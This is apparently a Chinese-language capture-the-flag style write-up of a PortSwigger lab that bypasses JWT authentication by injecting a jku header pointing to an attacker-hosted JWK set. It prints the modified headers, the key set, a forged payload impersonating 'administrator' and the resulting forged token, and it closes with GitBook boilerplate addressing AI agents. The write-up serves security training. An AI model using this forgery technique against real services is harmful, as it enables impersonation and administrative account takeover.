> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md).

# 通过 JKU 参数注入绕过 JWT 身份验证

### 通过 JKU 头注入绕过 JWT 身份验证

**实验背景**

本实验使用基于 JWT 的会话管理机制。/ 服务器支持 **jku** JWT 头中的参数，它指示用于检验签名的公钥（JWK）获取自哪个 URL。

漏洞源于以下事实： **服务器不会检查在其中提供的 URL 是否 `jku` 属于受信任的域名**。因此可以强制服务器获取由攻击者控制的公钥。

目标：

* 伪造一个 JWT 以允许访问 `/admin` 管理面板
* 删除用户 **carlos**

提供的标识符：

* `wiener : peter`

**JWT 初始**

使用以下凭据进行身份验证后可获得一个有效的 JWT： `wiener` 用户：

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhMjZmNDUwYy1lOWRjLTRlZTUtODRjOC1lYWQxNWNmNDE2NjkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODI3OSwic3ViIjoid2llbmVyIn0.QdpQA5ISeH9BS1JttLfm9VCOWA28H6-RDgCV59L5KVr3B8qLBXtt6DgQ32eW6mlKldZ8ZWhufcaPEsReqERGdhvgAWrQhruF7awvsGceHFQgxxBqcW3Yd3urPIZzl-S_EdIVaUwxgLkOv9acYUG1h9GJqgSFIyAjB8JuxQSHSHItzJSTHVMNQ9ffYDOb3fOQW64_LQko2rWUZLRhkG1-JTX3xYA03FOlvbVC4BfXKCBWV-dlrQaeFV8JgrMr-uDKhnJuzD34xFfjav0SXPedTRwMLhnThyFJJzx5OZwSnTUEuqlnipndHvjOhxYX-0OVbqpONwRrd41buEK1EI_HqA
```

{% endcode %}

**修改 JWT 头**

攻击方法是添加 **jku** 参数到头部，用于指示托管在 Exploit Server 上的公共 URL，它将作为受控的 JWK 密钥。

修改后的头部：

```json
{
    "kid": "a26f450c-e9dc-4ee5-84c8-ead15cf41669",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net"
}
```

**生成一对 RSA 密钥**

攻击方生成了一对新的 RSA 密钥。

<figure><img src="/files/179fbb803f12da3d3aef207ca0d1cd2e0eaeb675" alt=""><figcaption></figcaption></figure>

公钥被转换为 JWK 格式，以便由 Exploit Server 提供。

<figure><img src="/files/128cc294c3ddde02147cfa961b2fbfc93f2b2bc9" alt=""><figcaption></figcaption></figure>

JWK 公钥内容：

```json
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
```

**在 Exploit Server 上托管 JWK**

JWK 以密钥集合的形式显示，正如目标服务器所期望的那样：

```json
{
   "keys": [
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
   ]
}
```

<figure><img src="/files/9e7dc38e1d3981b8508e2d4d3ccd0e06655c0a5e" alt=""><figcaption></figcaption></figure>

**JWT 最终头部**

该 **kid** 字段已更新为与托管的 JWK 一致，并且 **jku** 指向公开文件的确切 URL：

```json
{
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net/exploit"
}
```

<figure><img src="/files/efdceb705e81f5e70004771186313988578d4699" alt=""><figcaption></figcaption></figure>

**签名和权限提升**

JWT 使用以下内容签名： **私钥** 对应于所显示的公钥。

<figure><img src="/files/9892e0404d2bdd5c1284d31e83f7a0d2458f1e72" alt="" width="563"><figcaption></figcaption></figure>

载荷被修改为冒充管理员用户：

```json
{
  "iss": "portswigger",
  "exp": 1767548841,
  "sub": "administrator"
}
```

最终 JWT：

```bash
eyJraWQiOiIwZDYxOWI5OC1iNGE2LTQyNTItOWQzZS1mMzcwNTQzMzYzNGIiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWUxMDA1MDA0NmJkNTIwODFkNWI2ODMwMWNhMDBiZS5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODg0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.QWCX9x4q3baQllVGwrVewi5-lPXFEvLltEn9hm3mwSz4XjDbBXABtUL5bB5bUL4_kE1tQrbgG5JFwsHocV6pew8hvm3mZ-0yspsr7bc-qD7RYBU8jecC2wX2R8TflGtKgIKf9KwWPLxRDWkYPOBIbwhSp5HTAbe9Ns4ZZVUz7_nIcypKHyJBOSXSCLHQI7HUrkll3ekHiR9a-n7gSeVkJ3-qnrMBDibasazlChaoxVaLRQGsFrEX7xFKA1eYYM1SxnhfHSO6Q-txUmdOtzAMEdlsSAOPIyJ5aRvIkSDBwHNzl8ouEl5c-qEjmEfShgUuNY6HIERn96HRIj5xGQgIGg
```

<figure><img src="/files/40815ab082c97d02221d8deae27621cdb4d0ff58" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
